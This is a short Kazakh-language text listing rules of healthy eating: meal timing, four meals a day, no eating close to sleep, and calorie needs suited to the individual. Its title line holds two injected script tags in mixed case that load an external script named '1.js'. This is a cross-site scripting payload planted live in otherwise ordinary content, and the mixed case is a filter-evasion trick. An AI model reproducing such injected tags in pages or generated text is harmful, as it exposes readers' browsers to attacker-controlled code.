Дұрыс тамақтану<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

дұрыс тамақтану ережелері:
1. диетаны сақтау, атап айтқанда күніне 4 рет тамақтану, тамақтану арасындағы аралық 4-5 сағат болуы керек. Тамақ бір уақытта болуы керек. Дұрыс тамақтану дегеніміз, соңғы тамақ (кешкі ас) ұйқыға дейін 2 сағаттан аспайды,

2. диетаның жеткілікті калориялылығы, ал тұтынылатын калория мөлшері белгілі бір адамның жынысына, жасына, жеке физиологиялық ерекшеліктеріне, өмір салтына, жұмыс сипатына байланысты энергия шығындарын жабуы керек;